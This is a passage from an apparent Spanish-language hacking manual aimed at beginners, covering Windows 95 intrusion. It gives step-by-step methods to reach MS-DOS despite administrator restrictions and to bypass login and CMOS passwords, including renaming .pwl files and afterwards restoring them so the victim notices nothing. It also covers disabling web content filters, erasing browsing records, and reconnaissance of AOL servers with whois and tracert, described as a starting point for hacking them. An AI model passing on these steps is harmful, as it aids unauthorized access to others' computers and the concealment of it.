21 encontraríamos con una red que es una auténtica autopista, pero por la que sólo circularían el correo electrónico y las páginas web. Además, esto significa un incentivo para que los administradores de los sistemas y responsables de seguridad seamos mejores en nuestro trabajo, ya que cada ataque con éxito pone en evidencia nuestras deficiencias. RESTRICCIONES LEGALES. En algunos países existen muchas restricciones legales para el comercio electrónico, y esto impide la evolución del desarrollo de las aplicaciones y la implementación de software de seguridad para los negocios en línea. Desgraciadamente, no sólo se enfrenta el problema técnico sino el legal porque cuando se utiliza una firma electrónica autorizada por las empresas involucradas en una transacción, por ejemplo, no se puede probar en un juicio que esta firma es auténtica. No existe una autoridad certificadora, éste es uno de los problemas más serios. No se puede considerar que la seguridad sea cuestión de una sola cosa, ya que hay muchos elementos y soluciones en la infraestructura de informática de una empresa. Por ejemplo, muchas de las claves en la criptología son fácilmente desifrables, debemos ver otras alternativas de tecnología de otros países de Europa, Israel, Rusia y no sólo en las soluciones americanas que presentan también muchas restricciones legales para su importación. Algunas medidas para hacer frente al creciente problema de la falta de seguridad son: entre ellas la importancia de evaluar su vulnerabilidad interna y hacerse conscientes de que si bien existen muchas violaciones externas y muchas soluciones tecnológicas, existe un porcentaje muy alto de inseguridad interna como resultado de problemas organizacionales. Esto enmarca la importancia de contar con políticas internas específicas que cuenten con el apoyo de los altos directivos, así como la existencia de un responsable en la seguridad interna cuyas decisiones de protección se realicen en función de problemáticas específicas y no sujetas a ajustes económicos.

SEGURIDAD INFORMÁTICA Toda organización debe estar a la vanguardia de los procesos de cambio. Donde disponer de información continua, confiable y en tiempo, constituye una ventaja fundamental. Donde tener información es tener poder. Donde la información se reconoce como:   

Crítica, indispensable para garantizar la continuidad operativa de la organización. Valiosa, es un activo corporativo que tiene valor en sí mismo. Sensitiva, debe ser conocida por las personas que necesitan los datos.

Donde identificar los riesgos de la información es de vital importancia.

22 La seguridad informática debe garantizar:    

La Disponibilidad de los sistemas de información. El Recupero rápido y completo de los sistemas de información La Integridad de la información. La Confidencialidad de la información.

Nuestra Propuesta     

Implementación de políticas de Seguridad Informática. Identificación de problemas. Desarrollo del Plan de Seguridad Informática. Análisis de la seguridad en los equipos de computación. Auditoría y revisión de sistemas.

¡Ojo principiantes! Aquí empezamos las prácticas...

HACKING EN WINDOWS95 ACCEDIENDO AL MS-DOS Es de real importancia aclarar que realizar actividades de Hackeo en Windows es una tarea que principalmente es realizada por los que recién comienzan. Por cuestiones de conocimiento nos restringiremos a abarcar solamente Windows ya que la ejemplificación en otros sistemas operativos como UNIX serían de real complejidad. Windows95 realmente no es un sistema operativo. Trabaja sobre el MS-DOS, que sí lo es, pero que a su vez no proporciona ninguna seguridad. Ej. Desde el prompt del MS-DOS cualquier persona con solo ejecutar el comando format puede destruir todo el disco rígido y el sistema no lo impedirá. Sin embargo, en Windows95 el sistema comprueba siempre las restricciones aplicadas a los usuarios por el administrador. ¿Qué quiere decir esto? Que se tiene acceso al MS-DOS, la computadora es vulnerable.

23 Pero ahora se plantea un problema: Muchos administradores de sistemas "prohiben" la entrada en MS-DOS de sus usuarios.

¿Cómo entrar entonces?

Primero: A través del menú ejecutar. Pulsar sobre Inicio, luego Ejecutar, escribir "Command" (sin comillas) y pulsar enter. Segundo: A través de la ayuda Con un editor de textos hexadecimal como WordPad (no el block de notas) abrir el archivo "COMMAND.COM", luego ir a la opción "Guardar como..." normalmente en el menú "Archivo" y guardarlo, en el directorio dónde esté instalado Windows95 con el nombre de "WINHLP32.EXE". Ahora, cada vez que se pulse la tecla F1, tendrá un prompt del MS-DOS Tercero: Saltándose el inicio de Windows95 Al encender el sistema. Pulsando F8 cuando aparece el mensaje "Iniciando Windows95" y seleccionando después "Sólo símbolo de MS-DOS" accederá al mismo. Un método no muy bueno, pues muchos administradores desactivan el teclado en el inicio del Windows95. Cuarto: A través de la pantalla "Ahora puede apagar el equipo" Lo que sucede realmente al apagar el sistema es que Windows95 se descarga de memoria y presenta el famoso dibujito en la pantalla. Pero he aquí lo importante: Nos deja sobre MS-DOS. Probar escribir "CLS". La pantalla se borrará y aparecerá el prompt del MS-DOS, en un modo gráfico un tanto peculiar. Para ver el prompt en modo de texto, escribir "MODE 80". PASSWORDS Paso uno: Arrancar la computadora. Paso dos: Cuando aparezca la pantalla de "Iniciando el sistema" o "Configuración del sistema" (depende de las versiones), pulsar la tecla "F5", si el ordenador no muestra esa pantalla, simplemente tocar la tecla "F5" todo el tiempo. Si Windows95 tiene la configuración correcta, la tecla F5 permitirá arrancar en "modo de a prueba de fallos". Una vez cargado el sistema todo va parecer extraño, pero no será necesario dar un password y aún así se podrá utilizar los programas. Otra manera de saltar el password. Paso uno: Arrancar la computadora. Paso dos: cuando aparezca la pantalla "configuración del sistema", pulsar F8. Accediendo al Menú de Inicio de Microsoft Windows 95. Paso tres: Elegir la opción 7, modo MS-DOS. En el prompt, teclear el comando " rename c: \windows\*. pwl c: \windows\*. zzz "Nota: MS-DOS significa Microsoft Disk Operating System, un antiguo sistema operativo que data de 1981. Es un sistema operativo de línea de comandos, lo que significa que aparece un prompt (probablemente c: \>) tras el cual es posible teclear un comando y

24 pulsar la tecla Enter. MS-DOS se suele abreviar por DOS. Es un poco parecido a UNIX, y de hecho en su primera versión incorporaba miles de líneas de código UNIX. Paso cuatro: reiniciar. De esta forma se obtendrá el cuadro de diálogo de password. Entonces Puede ingresarse cualquier password que se nos ocurra. Posteriormente pedirá nuevamente el ingreso del password para confirmar el cambio.Paso cinco: Para no dejar rastros de la violación del password podrá utilizarse cualquier herramienta que se desee, Administrador de Archivos, Explorador o MS-DOS para renombrar *. zzz otra vez a *.pwl. Paso seis: reiniciar y comprobar el funcionamiento del viejo password. Si alguien estuviese husmeando en el ordenador con Windows95 de otra persona, usando esta técnica, el único modo en que la víctima se podría dar cuenta de que hubo un intruso en el sistema es comprobar los archivos recientemente modificados y descubrir que los archivos *. pwl han sido toqueteados.Consejo: A menos que en el archivo msdos.sys la opción bootkeys=0 esté activada, las teclas que pueden hacer algo durante el arranque son F4, F5, F6, F8, Shift+F5, Control+F5 y Shift+F8. Ahora supongamos que se descubrió que Windows95 no responde a las teclas de arranque. Todavía es posible entrar.Si la computadora permite el uso de las teclas de arranque, puede que se desee desactivarlas para contar con un poco más de seguridad. El modo más fácil pero a su vez más lento para desactivar las teclas de arranque es configurarlas adecuadamente mientras se instala el Windows95. Pero la forma más rápida para hacerlo es la siguiente. Editando el archivo msdos.sys de Windows95, que controla la secuencia de arranque. El modo fácil de editar el archivo Msdos.sys es:Paso cero: Hacer una copia del disco rígido entero, especialmente de los archivos de sistema. Asegurarse que se tiene un disco de arranque de Windows95. Estamos a punto de jugar con fuego! Si se está haciendo esto en el ordenador de otra persona, esperemos que se cuente con el permiso para destruir el sistema operativo.Nota: En el caso de no contar con un disco de arranque se necesitará un disco vacío y los discos de instalación de Windows95. Hacer click en Inicio, luego en Configuración, Panel de Control, en Agregar/Quitar Programas y finalmente entonces en Disco de Inicio. Desde ahí simplemente seguir las instrucciones.Paso uno: Encontrar el archivo msdos.sys. Se encuentra en el directorio raíz (normalmente c: \). Como este es un archivo oculto de sistema, la manera más fácil de encontrarlo es hacer click en Mi PC, hacer click con el botón derecho en el icono del disco rígido (normalmente C:), hacer click en Explorar, y entonces navegar por la unidad hasta encontrar el archivo "msdos.sys".Paso dos: Hacer que se pueda escribir en el archivo msdos.sys (darle permiso de escritura). Para hacer esto, clickear con el botón derecho en msdos.sys, y entonces hacer click en "propiedades". Esto trae una pantalla en la que se tiene que desactivar las opciones "sólo lectura" y "oculto". Ahora se debe editar este archivo con tu procesador de textos. Paso tres: Abrir WordPad y el archivo msdos.sys. Es muy importante usar WordPad y no NotePad (bloc de notas) o cualquier otro programa de edición de textos.Paso cuatro: Ahora estamos preparados para editar. Ahora que se tiene WordPad abierto con el archivo msdos.sys abierto también se verá algo similar a esto:[Paths]WinDir=C:\WINDOWSWinBootDir=C:\WINDOWS HostWinBootDrv=C [Options] BootGUI=1

25 Network=1 ; ;The following lines are required for compatibility with other programs. ;Do not remove them (MSDOS>SYS needs to be >1024 bytes). Para desactivar las teclas de función durante el arranque, directamente debajo de [Options] se tiene que insertar el comando "BootKeys=0." .Otra manera de desactivar dichas teclas de arranque, es insertar el comando BootDelay=0. Guardar msdos.sys.Paso cinco: ya que msdos.sys es absolutamente esencial para la computadora, mejor sería que se protegiese contra escritura ahora (es decir, dejarlo como estaba antes de que se editase). Hacer click en Mi PC, entonces en Explorar, luego clickear en el icono del disco rígido (normalmente C:), entonces encuentra el archivo msdos.sys. Hacer click en y luego en propiedades. Esto vuelve a traer esa pantalla con las opciones de "sólo lectura" y "oculto". Activar la opción de "sólo lectura".Paso seis: reiniciar la computadora Nota: evitar correr antivirus! Modo más Difícil de Editar al archivo Msdos.sys.Paso cero: Esto es una útil práctica para poder usar MS-DOS algún día en WindowsNT LANs, y servidores de Internet o Webs. Poner un disco de inicio de Windows95 en la unidad a: . Reiniciar. Esto nos regresará prompt A: \.Paso uno: Otorgar permiso de escritura a msdos.sys. Correr comando "attrib -h -r -s c: \msdos.sys" (Se da por hecho que la unidad c: es el disco duro.)Paso dos: Entrar el comando "edit msdos.sys". Esto trae este archivo al procesador de textos.Paso tres: Utilizar el programa Edit para alterar msdos.sys. Guardar. Salir del programa Edit. Paso cuatro: En el prompt del MS-DOS, introducir el comando "attrib +r +h +s c: \msdos.sys" para volver a dejar el archivo en su estado original (oculto, de sistema, sólo lectura).Ahora las teclas de inicio de la computadora están desactivadas. Significa esto que nadie puede entrar en el sistema?Como seguramente habrá deducido de "Modo más Difícil de Editar Msdos.sys", la siguiente opción para acceder a Windows95 es usar un disco de inicio que vaya en la unidad a: .Cómo Acceder al Sistema de Win95 Usando un Disco de InicioPaso uno: apagar la computadora. Paso dos: poner el disco en la unidad A: . Paso tres: encender la computadora.Paso cuatro: en el prompt de A: , teclear el comando: "rename c:\windows\*.pwl c:\windows\*.zzz". Paso cinco: reiniciar otra vez. Puede introducir lo que sea o nada en la ventana del password y entrar. Paso seis: Cubrir huellas renombrando los archivos de passwords otra vez a como estaban al principio.

Este es un truco común en LANs en las que el administrador de red no quiere tener que ocuparse de la gente que va curioseando en los ordenadores de otras personas. La respuesta (no es una

26 respuesta demasiado buena) es usar un password del CMOS.Cómo Jugar con el CMOSLas configuraciones básicas en la computadora como por ejemplo cuántos y de qué‚ clase son las unidades de disco que posee y cuáles de ellas son usadas en el arranque están controladas en un chip del CMOS en la placa base. Una diminuta batería mantiene este chip funcionando siempre para que en cualquier momento que enciendas de nuevo la computadora, recuerde cuál es la primera unidad que debe revisar para recibir instrucciones de inicio. En una PC de hogareña normalmente se lee primero la unidad A: . Si la unidad A: está vacía, a continuación mirar en la unidad C: .Si deseo cambiar la configuración del CMOS deberé pulsar la tecla "delete" al principio de la secuencia de inicio. Entonces configuro el CMOS para que pida password de acceso, tengo que teclear el password para entrar y realizar los cambios que desee.Si yo no quiero que nadie arranque la computadora desde la unidad A: y juegue con el archivo de passwords, puedo configurarlo para que arranque únicamente desde la unidad C: . O incluso que sólo arranque desde una unidad remota en una LAN. Entonces,¿existe alguna manera de penetrar en un sistema de Windows95 que no arranque por la unidad A: ? Absolutamente sí, pero antes de probarlo, debe asegurarse de anotar la configuración *COMPLETA* del CMOS. Y estar preparado para un naufragio total de la computadora. Hackear las configuraciones de las CMOS es incluso más destructivo que hackear archivos de sistema.Paso uno: conseguir un destornillador de precisión y el material necesario para soldadura de componentes electrónicos. Paso dos: abrir la computadora.Paso tres: quitar la batería.Paso cuatro: volver a enchufar la batería. Paso alternativo al tres: muchas placas base poseen un jumper de 3 pins para reiniciar la CMOS a su configuración por defecto. Buscar un jumper situado cerca de la batería o mirar en el manual si tiene uno. Por ejemplo, podría encontrar un dispositivo de 3 pins con los pins 1 y 2 conectados. Si quita los puentes de los pins 1 y 2 y lo deja así durante unos cinco segundos, puedes reiniciar la CMOS. Advertencia: esto puede no funcionar en todas las computadoras!Paso cinco: la computadora tiene ahora la CMOS con su configuración por defecto. Poner todo como estaba al principio, con la excepción de decirle que compruebe primero la unidad A: durante el arranque.Advertencia: esto no es recomendable si utiliza la computadora del trabajo Paso seis: proceder con las instrucciones de acceso a través de la unidad A: durante el arranque explicadas antes.

Cómo Jugar con el CMOS 2:Hay una solución fácil Al problema del password de CMOS. Es un programa llamado KillCMOS que puede bajarse de http: //www.koasp.com

27

(Nota de “El Hacker Negro”: ¡Cuidado amigo principiante! No debe bajar este programa asesino del Cmos de cualquier parte. Su antivirus, si es bueno y está actualizado, puede identificarlo como un viurs Troyano. En varias páginas de Hackers en Internet encubren un troyano con este nombre. Y de por sí, el Killcmos es un virus Troyano. En la lista de virus de Pc-cillín, por ejemplo, se encuentra codificado. Es preferible utilizar otro identificador del password del Cmos. En las utilidades, en el último disquete de EL LIBRO NEGRO DEL HACKER, hay otro programa para el efecto, para que lo pruebes. Además, la página www.koasp.com ha estado inactiva desde hace algún tiempo).

Como saltar el control de contenidos Ahora supongamos que le gusta navegar por la WWW pero Windows95 tiene instalado alguna clase de programa que te restringe el acceso a sitios que realmente te gustaría visitar. Significa esto que está realmente restringido a él?. Claro que no.Hay varios modos de saltarse esos programas que censuran los Web sites que se desea visitar.Esto no tiene como objetivo fomentar la pornografía infantil. El hecho lamentable es que estos programas de censura de la Red no tienen posibilidad de analizar todo el contenido de una Web. Lo que hacen es sólo permitir el acceso a un pequeño número de Webs. La primera táctica a usar con un programa censor de WWW es pulsar ctrl-alt-supr. Esto hace aparecer la lista de tareas. Si el programa de censura está en la lista, podrá apagarse. La segunda táctica es editar el archivo autoexec.bat para borrar cualquier cosa relacionada con el programa de censura. Esto evita que sea cargado al principio. ¿Pero qué pasa si existe un control sobre dónde ha estado navegando? Tiene que deshacerse de esos comprometedores registros que almacenan los lugares que has visitado!Es fácil arreglarlo en Netscape. Abra Netscape.ini con Notepad (block de notas) o WordPad. Probablemente estará en el directorio C: \Netscape\Netscape.ini. Cerca de la parte final encontrará el historial de URLs visitadas. Ahora podrá Borrar esas líneas. En Internet Explorer solo tiene que editarse el Registro y eliminar la característica de censura del Internet Explorer. Nota:

Cualquiera que controle el Registro de un servidor de red controla la red, totalmente. Cualquiera que controle el Registro de un Windows95 o NT controla ese ordenador, totalmente. La habilidad para editar el Registro es comparable a obtener acceso de root en un sistema UNIX.Paso cero: Hacer una copia de seguridad de todos los archivos. Tener un disco de inicio a mano. Si se modifica el Registro de forma incorrecta se tendrá que reinstalar el sistema operativo. Advertencia: Si edita el Registro de una computadora en el trabajo, puede traerle muchos problemas

28 Paso uno: Encuentre el Registro. Esto no es sencillo, porque la teoría de Microsoft es "Lo que no se conoce, no se daña". Por tanto la idea es mantener el Registro fuera del alcance de los novatos. Así que se deberá clickear en Inicio, luego en Programas y a continuación en Explorador de Windows, luego hacer click en el directorio Windows y buscar un archivo llamado "Regedit.exe". Paso dos: arrancar Regedit clickeando sobre el mismo. Esto hará aparecer varias carpetas: HKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS HKEY_CURRENT_CONFIG HKEY_DYN_DATA Lo que se debe buscar es alguna clase de archivo de passwords. Esto controla todas las configuraciones, la apariencia del escritorio, qué accesos directos se están usando, a qué archivos se te permite acceder, etc. Si se está acostumbrado a usar UNIX, va haber que repasar cómo ver los permisos de los archivos y los passwords. Nota: Se puede usar Regedit desde el MS-DOS desde un disco de inicio. Esto es muy útil en ciertas situaciones. Paso tres: Entrar en una de las carpetas HKEY. Comprobar CURRENT_USER haciendo click en el signo + que hay a la izquierda. El Regedit da opciones en diversos menús para escoger nuevas configuraciones. Todo lo que verá son dibujos sin ninguna pista de cuál es la apariencia de estos archivos en MS-DOS. Esto se llama "seguridad por oscuridad". Paso cuatro: Ahora empezaremos a actuar como verdaderos hackers. Vamos a poner parte del archivo en un lugar donde podamos verlo y modificarlo. Primero hacer click en KEY_CLASSES_ROOT para que aparezca resaltada. Luego ir a la barra de menú de Regedit y clickear en la primera opción, "Registro", y entonces elegir "Exportar archivo del registro". Poner el nombre que quiera, pero asegúrese de que acaba con ".reg". Paso cinco: Abrir esa parte del registro en el WordPad. Es importante el usar ese programa y no otros como por ejemplo el Bloc de notas.

Advertencia: si se clickea normal en (con el botón izquierdo del ratón), automáticamente será importado de vuelta al Registro y accidentalmente puede dañarse la computadora durante bastante tiempo. Paso seis: Ahora es posible leer todo lo que siempre Windows y Microsoft temió que descubriera sobre seguridad. Cosas como por ejemplo: [HKEY_CLASSES_ROOT\htmlctl.PasswordCtl\CurVer]

29 @="htmlctl.PasswordCtl.l" [HKEY_CLASSES_ROOT\htmlctl.PasswordCtl.1] @="PasswordCtl Object" [HKEY_CLASSES_ROOT\htmlctl.PasswordCtl.1\CLSID] @="{EE230860-5A5F-11CF-8B11-00AA00C00903}" Lo que hay entre las llaves en esta última línea es un password encriptado que controla el acceso a un programa o las características de un programa como el de censura de red que posee el Internet Explorer. La función es encriptar el archivo cuando se teclea, y entonces compararlo con la versión desencriptada que posee en el archivo. Paso siete: No es realmente obvio qué password corresponde con qué programa. Lo que se recomienda es... borrarlos todos!. Por supuesto esto significa que los passwords almacenados para acceder por ejemplo al ISP pueden desaparecer. También, Internet Explorer hará aparecer un mensaje como "La configuración del controlador de contenidos se ha perdido. Alguien puede haber intentado modificarla". Es una buena idea empezar a conocer cómo usar el disco de inicio para reinstalar Windows95 por si algo sale mal. Paso ocho (opcional): ¿Se quiere borrar los registros de sitios visitados? En el Internet Explorer tendrá que editar HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE y HKEY_USERS. También puede borrar los archivos c: \windows\cookies\mm2048.dat y c: \windows\cookies\mm256.dat, ya que estos archivos también almacenan datos sobre URLs. (Nota de El Pirata Negro (Black Hacker): en Win 98 es más sencillo. Trae la utilidad de borrar los cookies. Ver Propiedades de unidad C: y “Limpiar disco”.) Paso nueve: Importar los archivos .reg de regreso al Registro. Hacer click en los archivos .reg en el Explorador o usar la herramienta "Importar" que se encuentra a continuación de la "Exportar" que usaste en Regedit. Esto sólo funciona si se nombraron con la extensión .reg. Paso diez: Internet Explorer hará un estridente ruido la primera que se encienda y a continuación aparecerá un mensaje con una gran "X" roja y brillante que dice que he modificado el vigilante de contenidos! No está todo perdido. Borrar el Registro y sus backups. Están en cuatro archivos: system.dat, user.dat, y sus backups, system.da0 y user.da0. El sistema operativo inmediatamente colapsará. (Esto fue un test realmente excitante) Pero es importante saber que la Papelera de Reciclaje todavía funciona aún después de haber eliminado los archivos del Registro, por lo que se puede restaurarlos y la computadora volverá a ser la misma de antes. Luego cargar esos archivos y apagarla. Entonces usar el disco de inicio de Windows95 para resucitar la computadora. Reinstalar Win95. Entonces por qué en vez de tener que editar el Registro, no recomendamos simplemente se borrase esos archivos y se reinstale Windoes95?

30 Porque es importante aprender cómo editar el Registro de un ordenador WindowsNT. Sólo se ha probado un poco de cómo sería en uno de esos sistemas. No se ha analizado todas las maneras de penetración remota en un sistema con Win95, pero existen multitud de maneras. Cualquier sistema con Windows95 que está conectado a una red es vulnerable, a menos que se encripte la información.

¿QUE PUEDE HACERSE CON UNA CONEXIÓN Y WINDOWS 95? Esta sección esta destinada a informar que tipos de Hacking se pueden realizar utilizando dos herramientas de las más típicas, el sistema Operativo Windows 95 y un servicio de Internet básico. En esta lección especificará como:- Usar comandos del Windows95 y MS-DOS secretos para escanear y navegar por puertos de las computadoras usadas por proveedores de servicios de Internet (ISP). - Hacer telnet a ordenadores que permitan usar las valiosas herramientas. - Bajar herramientas como por ejemplo escaneadores de puertos y crackeadores de passwords diseñados para su uso en Windows. - Usar Internet Explorer para saltar las restricciones en esos programas que pueden utilizarse en el colegio, la facultad o el trabajo. Pero actualmente existe una buena razón para aprender a hackear desde Windows. Algunas de las mejores herramientas para probar y manipular redes Windows se encuentran sólo en WindowsNT. Además, con Windows95 es posible practicar el Hacking del Registro, que es importante para conseguir objetivos en Servidores WindowsNT y las redes que estos administran. De echo, es muy importante en ciertas ocasiones conocer Windows, esto es porque WindowsNT es más rápido para acceder a Internet que UNIX. Hacia el año 2000, el porcentaje de servidores WindowsNT crecerá un 32%. Este débil futuro para los servidores UNIX se ve con más claridad gracias a un estudio que refleja que el porcentaje de sistemas UNIX está disminuyendo actualmente a un ritmo del 17% anual, mientras el de Windows NT aumenta en un 20% por año. (Mark Winther, "The Global Market for Public and Private Internet Server Software" Abril 1996). Por lo tanto es una herramienta fuerte es dominar perfectamente Windows. El secreto para realizar actividades de Hackeo desde Windows95 (o desde cualquier otro ISP que de acceso a World Wide Web) está escondido en el MS-DOS de Windows95 (MS-DOS 7.0). MS-DOS 7.0 ofrece varias herramientas de Internet, ninguna de las cuales llevan incluidas documentos de instrucciones ni en la ayuda de Windows ni la de MS-DOS. Para comenzar

31 Realizar una conexión a través de un ISP a la WWW. A continuación minimizar la ventana y cargar el MS-DOS (INICIO, PROGRAMAS, MS-DOS) De esta forma es más fácil utilizar los comandos cortar y copiar y a su vez pasar desde las ventanas de programas de Windows a las de MS-DOS y viceversa. Si el MS-DOS aparece en la pantalla completa, se debe pulsar ALT+Enter (Ventana) . En el caso de no poder ver la barra de tareas, se deberá hacer un click en el icono de sistema de la esquina superior izquierda de la ventana y seleccionar Barra de Herramientas. Ahora es posible elegir entre ocho utilidades de TCP/IP con las cual trabajar: telnet, arp, ftp, nbtstat, netstat, ping, route, y tracert.

Telnet es la más importante, es posible también acceder al programa de Telnet directamente desde Windows, pero mientras se está hackeando pueden llegar a necesitarse otras utilidades que sólo pueden ser usadas desde MS-DOS, por ello esta metodología de trabajo. Con el telnet de MS-DOS es posible navegar por los puertos casi como lo harías si se usara el telnet de UNIX. Pero existen varios trucos que se necesitan conocer para hacer este trabajo. Primero, probaremos a hacer Login a cualquier ordenador desconocido, para hacer esto debe verse el prompt de MS-DOS, C:\WINDOWS> e introducirse el comando "telnet". Esto hace aparecer una pantalla de telnet, clickear en conectar y entonces en Sistema Remoto. Esto hace aparecer un cuadro que pide "Nombre de Host", teclear "whois.internic.net" en este cuadro. Debajo pide "Puerto" y tiene el valor por defecto de "telnet". Dejar "telnet" como puerto seleccionado. Debajo hay otro cuadro que pregunta por "Tipo de terminal". Escoger VT100. Lo primero que puede hacerse para asustar a los vecinos e impresionar a sus amigos es un "whois". Hacer click en Conectar y pronto aparecer un prompt como este: [vt100]InterNIC> Entonces pregúntale a tu vecino o a tu amigo su dirección de e-mail. Luego introduce las últimas dos partes de esa dirección de e-mail. Por ejemplo, si la dirección es "[email protected]", teclea "aol.com". En AOL conseguimos esta respuesta: [vt100]InterNIC>whois aol.com Connecting to the rs Database. . . . . Connected to the rs Database

32 AOL 12100 Sunrise Valley Drive Reston, Virginia 22091 USA Nombre de Dominio: AOL.COM Contacto Administrativo: OïDonell, David B (DBO 3) [email protected] 703/453-4255 (FAX) 703/453-4102 Contacto Técnico, contacto regional: AOL Nombre [email protected] 703/453-5862 Contacto de Facturación: Barrett, Joe (JB4302) [email protected] 703-453-4160 (FAX) 703-453-4001 Record Last Updated on 13-Mar-97 Record Created on 22-Jun-95 Domain Servers in listed order: DNS-01.AOL.COM 152.163.199.42 DNS-02.AOL.COM 152.163.199.56 DNS-AOL.ANS.NET 198.83.210.28

Las últimas tres líneas nos dan los nombres de algunos de los ordenadores que trabajan para el AOL. Si queremos hackear el AOL, son un buen sitio para empezar. Nota: Simplemente obtuvimos información de tres "nombres de dominio" del AOL. "aol.com" es el nombre de dominio de AOL, y los servidores de dominio son los ordenadores que controlan la información que le dice al resto de Internet cómo mandar mensajes a ordenadores AOL y direcciones de e-mail.

33 Nota: Usando Windows95 y una conexión a Internet es posible utilizar el comando whois desde otros muchos ordenadores también. Al hacer telnet al puerto 43 del ordenador objetivo y en caso que pueda pasarse podrá hacerse cualquier petición. Ejemplo: Hacer telnet a nic.ddn.mil, puerto 43. Una vez que se esté conectado, teclear "whois DNS-01.AOL.COM", o cualquier otro nombre que se desee probar. Sin embargo, esto sólo funciona en ordenadores que tengan activo el servicio whois en el puerto 43. Advertencia: Simplemente se accede a un ordenador del ejército de los EEUU, pero no hay de que preocuparse, nic.ddn.mil esta abierto al público en muchos de sus puertos. Puede también conectarse a su Web en www.nic.ddn.mil y también a su Server de ftp. A continuación probar navegar por los puertos (port surfing) de DNS-01.AOL.COM pero es posible no encontrar ninguno abierto. Por tanto seguramente lo que ocurre es que este ordenador se encuentra tras el Firewall del AOL. Nota : port surfing significa intentar acceder a un ordenador a través de diferentes puertos. Un puerto es cualquier camino por el que la información entra o sale de un ordenador. Por ejemplo, el puerto 23 es el que normalmente se utiliza para hacer Login en una cuenta shell. El puerto 25 seusa para enviar e-mail. El puerto 80 se utiliza para las Webs. Existen miles de puertos disponibles, pero normalmente un ordenador sólo tendrá activados tres o cuatro de sus puertos. En una computadora común los puertos incluyen el monitor, el teclado y el módem. A continuación cerrar el programa de telnet y regresar a la ventana del MS-DOS. En el prompt del MS-DOS se deberá teclear el comando "tracert 152.163.199.42", o igual sería teclear "tracert DNS01.AOL.COM". Con cualquier opción que se escoja se obtendrá el mismo resultado. Este comandotracert da la ruta que toma un mensaje, de un ordenador hasta otro, desde que viaja desde mi ordenador hasta ese servidor de dominio del ISP. Aquí está lo que obtendremos: C:\WINDOWS>tracert 152.162.199.42Tracing route to dns-01.aol.com [152.162.199.42] over a maximum of 30 hops: 1 * * * Request timed out. 2 150 ms 144 ms 138 ms 204.134.78.201 3 375 ms 299 ms 196 ms glory-cyberport.nm.westnet.net [204.134.78.33] 4 271 ms * 201 ms enss365.nm.org [129.121.1.3] 5 229 ms 216 ms 213 ms h4-0.cnss116.Albuquerque.t3.ans.net [192.103.74.45] 6 223 ms 236 ms 229 ms f2.t112-0.Albuquerque.t3.ans.net [140.222.112.221] 7 248 ms 269 ms 257 ms hl4.t64-0.Houston.t3.ans.net [140.223.65.9] 8 178 ms 212 ms 196 ms hl4.t80-1.St-Louis.t3.ans.net [140.223.65.14] 9 316 ms * 298 ms hl2.t60-0.Reston.t3.ans.net [140.223.61.9]

34 10 315 ms 333 ms 331 ms 207.25.134.189 11 * * * Request timed out. 12 * * * Request timed out. 13 207.25.134.189 reports: Destination net unreachable. Qué es todo esto? El número a la izquierda es el número de ordenador cuya ruta se ha traceado. A continuación, "150 ms" es el tiempo, en milésimas de segundo, que se tarda en enviar un mensaje a/y desde ese ordenador. Como el mensaje puede tomar una distinta cantidad de tiempo cada vez que se manda, tracert mide el tiempo del "viaje" tres veces. Los "*" significan que el viaje duró demasiado. Después de la información del cronometraje viene el nombre del ordenador al que llegó el mensaje, primero en un modo que es fácil de recordar para los humanos, y luego en otra forma (direcciones IP) que es la que prefieren las computadoras."Destination net unreachable" (Red de Destino no alcanzable) probablemente significa que nos topamos con un Firewall. Probemos el segundo nombre de dominio del AOL. C:\WINDOWS>tracert 152.163.199.56 Tracing route to dns-02.aol.com [152.163.199.56]over a maximum of 30 hops: 1 * * * Request timed out. 2 142 ms 140 ms 137 ms 204.134.78.201 3 246 ms 194 ms 241 ms glory-cyberport.nm.westnet.net [204.134.78.33] 4 154 ms 185 ms 247 ms enss365.nm.org [129.121.1.3] 5 475 ms 278 ms 325 ms h4-0.cnss116.Albuquerque.t3.ans.net [192.103.74.45] 6 181 ms 187 ms 290 ms f2.t112-0.Albuquerque.t3.ans.net [140.222.112.221] 7 162 ms 217 ms 199 ms h14.t64-0.Houston.t3.ans.net [140.223.65.9] 8 210 ms 212 ms 248 ms h14.t80-1.St-Louis.t3.ans.net [140.223.65.14] 9 207 ms * 208 ms h12.t60-0.Reston.t3.ans.net [140.223.61.9] 10 338 ms 518 ms 381 ms 207.25.134.189 11 * * * Request timed out. 12 * * * Request timed out. 13 207.25.134.189 reports: Destination net unreachable.

35 Nota: Darse cuenta de que ambos tracerts terminan en el mismo ordenador llamado h12.t600.Reston.t3.ans.net. Como el AOL tiene su "central" en Reston, Virginia, seguramente este debe ser un ordenador que envía información directamente a AOL. Pero nos damos cuenta de que h12.t60-0.Reston.t3.ans.net, h14.t80-1.St-Louis.t3.ans.net, h14.t64-0.Houston.t3.ans.net y Albuquerque.t3.ans.net, todos tienen nombres numéricos que comienzan con 140, y nombres que acaban con "ans.net". Por tanto es seguro que todos ellos pertenecen a la misma compañía. Además, el "t3" en cada nombre sugiere que estos ordenadores son Routers de un backbone (red principal) de comunicaciones en Internet.Ahora probemos con el último de esos nombres de dominio:C:\WINDOWS>tracert 198.83.210.28 Tracing route to dns-aol.ans.net [198.83.210.28] over a maximum of 30 hops: 1 * * * Request timed out. 2 138 ms 145 ms 135 ms 204.134.78.201 3 212 ms 191 ms 181 ms glory-cyberport.nm.westnet.net [204.134.78.33] 4 166 ms 228 ms 189 ms enss365.nm.org [129.121.1.3] 5 148 ms 138 ms 177 ms h4-0.cnss116.Albuquerque.t3.ans.net [192.103.74.45] 6 284 ms 296 ms 178 ms f2.t112-0.Albuquerque.t3.ans.net [140.222.112.221] 7 298 ms 279 ms 277 ms h14.t64-0.Houston.t3.ans.net [140.223.65.9] 8 238 ms 234 ms 263 ms h14.t104-0.Atlanta.t3.ans.net [140.223.65.18] 9 301 ms 257 ms 250 ms dns-aol.ans.net [198.83.210.28] Trace complete. Al final conseguimos el trazado completo llegando a lo que seguramente es un ordenador de AOL, y parece como si estuviera fuera del Firewall! Pero nótese cómo tracert tomó una ruta diferente esta vez, yendo por Atlanta en vez de por St. Louis y Reston. Pero este, el igual que los otros, posee en su dirección el "ans.net" junto con los "t3", por lo que este último nombre de dominio está usando la misma red que los anteriores. Ahora, que podemos intentar acceder a la cuenta de [email protected]. Vamos a hacer port surfing en este último servidor de AOL, pero para hacer esto necesitaremos modificar un poco nuestra configuración de telnet. Clickear en Terminal, y luego en Preferencias. En el cuadro de preferencias se debe seleccionar 